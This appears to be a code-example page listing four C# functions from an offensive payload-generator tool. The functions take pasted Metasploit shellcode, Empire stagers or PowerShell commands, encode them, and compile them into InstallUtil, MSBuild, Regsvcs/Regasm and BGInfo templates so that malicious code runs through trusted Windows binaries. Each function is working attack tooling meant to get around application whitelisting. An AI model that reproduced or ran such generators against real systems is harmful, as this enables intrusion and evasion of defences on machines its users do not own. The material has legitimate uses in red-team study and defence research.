Beispiel #1
0
        private static void MetaSploit()
        {
            /* Default filename */
            string Filename_InstallUtilMetasploit_Default = "InstallUtilMetasploit.exe";

            Helpers.WriteMetasploitExample();
            Console.WriteLine("Paste in your Metasploit C# payload here");
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("Important! --Paste entire output from msfvenom, including byte[] buf and so on--");
            Console.ResetColor();
            Console.WriteLine("Press Enter in an empty line to exit...");

            string InstallUtil_Payload = Helpers.PasteToString();
            string Outfile             = Helpers.FileFolderLocation(Filename_InstallUtilMetasploit_Default);

            Generators.GeneratePayload(Resources.Template_InstallUtil_Shellcode, Outfile, InstallUtil_Payload, "Compile", "/unsafe /platform:x86", null, null);
            Console.WriteLine();
            Console.WriteLine("Commands used to execute payload:");
            Helpers.WriteInstallUtilPayloadExample(Outfile);
            Helpers.PauseExecution();
        }
Beispiel #2
0
        private static void UnencodedPoshCommand()
        {
            string Filename_MsbuildUnencodedPowerShell_Default = "MSBuildUnencodedPowerShell.bypass";


            Console.WriteLine("Type in your unencoded PowerShell command");
            Console.WriteLine("");
            Console.WriteLine("Example: Get-service > c:\\test\\file.csv");
            Console.WriteLine("");
            Console.WriteLine("Press Enter in an empty line to exit paste");


            string Unencoded_PowerShell = Helpers.PasteToString();
            var    plainTextBytes       = System.Text.Encoding.UTF8.GetBytes(Unencoded_PowerShell);

            Unencoded_PowerShell = System.Convert.ToBase64String(plainTextBytes);

            string Outfile = Helpers.FileFolderLocation(Filename_MsbuildUnencodedPowerShell_Default);

            Generators.GeneratePayload(Resources.Template_MSBuild_PowerShell, Outfile, Unencoded_PowerShell, "GenerateFile", null, null, null);
            Helpers.WriteMSBuildPayloadExample(Outfile);
            Helpers.PauseExecution();
        }
Beispiel #3
0
        private static void Empire()
        {
            string Filename_RegsvcsRegasmEmpireStagerDLL_Default = "RegsvcsRegasmEmpireStager.dll";

            Helpers.WriteEmpireExample();
            Console.ForegroundColor = ConsoleColor.Red;
            Console.WriteLine("Important! -->Only paste the base64 encoded string<--");
            Console.ResetColor();
            Console.WriteLine("Press Enter in an empty line to exit paste");

            string Empire_Stager = Helpers.PasteToString();

            /* Decode */
            string decoded = Encoding.Unicode.GetString(System.Convert.FromBase64String(Empire_Stager));

            Console.WriteLine(decoded);
            /* Replace & with . due to a bug of somekind */
            string replaced = decoded.Replace("&", ".");

            Console.WriteLine();

            /* ENCODE */
            string base64string = Convert.ToBase64String(Encoding.UTF8.GetBytes(replaced));

            Console.WriteLine();
            Empire_Stager = base64string;

            string Outfile = Helpers.FileFolderLocation(Filename_RegsvcsRegasmEmpireStagerDLL_Default);

            //Generators.GeneratePayload(Resources.Template_RegsvcsRegasm_PowerShell, Outfile, Empire_Stager, "Compile", "/r:C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll /unsafe /platform:x86", null, null);
            //Generators.GeneratePayload(Resources.Template_RegsvcsRegasm_PowerShell, Outfile, Empire_Stager, "Compile", "/keyfile:meta.snk /unsafe /platform:x86", null, null);

            // meta.snk hardcoded in template - file needs to be in dir where alby is run
            Generators.GeneratePayload(Resources.Template_RegsvcsRegasm_PowerShell, Outfile, Empire_Stager, "Compile", "/unsafe /platform:x86", null, null);
            Helpers.WriteRegsvcsRegasmPayloadExample(Outfile);
            Helpers.PauseExecution();
        }
Beispiel #4
0
        public static void Menu()
        {
            //    Console.ForegroundColor = ConsoleColor.DarkMagenta;
            //    Console.WriteLine("NOT IMPLEMENTED YET - NEXT VERSION STUFF - BGINFO.EXE");
            //    Console.ResetColor();
            Console.WriteLine("1. Empire Native VBS Stager - BROKEN");
            Console.WriteLine("2. Empire StarFighter");
            Console.WriteLine("3. Metasploit VBSMeter");
            Console.WriteLine("4. Metasploit VBSWebMeter");
            Console.WriteLine("0.Back");
            string BGInfoSubChoice = Console.ReadLine();

            Console.WriteLine();

            if (BGInfoSubChoice == "1")
            {
                Generators.GenerateBGIFile("\\test\test", "C:\temp\test.bgi");

                /* Default filename */
                //string Filename_BGInfoEmpireNativeStager_Default = "BGInfoEmpireStager.vbs";
                //
                //Helpers.WriteEmpireExample();
                //Console.ForegroundColor = ConsoleColor.Red;
                //Console.WriteLine("Important! --Must be a Base64 encoded string of the PowerShell commands you want to run--");
                //Console.ResetColor();
                //Console.WriteLine("Press Enter in an empty line to exit...");
                //
                //string BGInfo_Payload = Helpers.PasteToString();
                //string Outfile = Helpers.FileFolderLocation(Filename_BGInfoEmpireNativeStager_Default);
                //
                //Generators.GeneratePayload(Resources.Template_BGInfo_EmpireNative, Outfile, BGInfo_Payload, "GenerateFile", null);
                //Helpers.WriteBGInfoPayloadExample(Outfile);
                Console.ResetColor();
                Helpers.PauseExecution();
            }
            //
            //    if (BGInfoSubChoice == "2")
            //    {
            //        break;
            //        /* Default filename */
            //        string Filename_BGInfoEmpireStarFighter_Default = "BGInfoEmpireStarfighter.vbs";
            //
            //        Helpers.WriteEmpireExample();
            //        Console.ForegroundColor = ConsoleColor.Red;
            //        Console.WriteLine("Important! --Must be a Base64 encoded string of the PowerShell commands you want to run--");
            //        Console.ResetColor();
            //        Console.WriteLine("Press Enter in an empty line to exit...");
            //
            //        string BGInfo_Payload = Helpers.PasteToString();
            //        string Outfile = Helpers.FileFolderLocation(Filename_BGInfoEmpireStarFighter_Default);
            //
            //        Generators.GeneratePayload(Resources.Template_BGInfo_StarFighter, Outfile, BGInfo_Payload, "GenerateFile", null, null, null);
            //        Helpers.WriteBGInfoPayloadExample(Outfile);
            //        Console.ResetColor();
            //        Helpers.PauseExecution();
            //        break;
            //    }
            //    if (BGInfoSubChoice == "3")
            //    {
            //        break;
            //    }
            //
            //    if (BGInfoSubChoice == "4")
            //    {
            //        break;
            //    }
            //        if (String.IsNullOrEmpty(BGInfoSubChoice) || BGInfoSubChoice == "0")
            //    {
            //        break;
            //    }
        }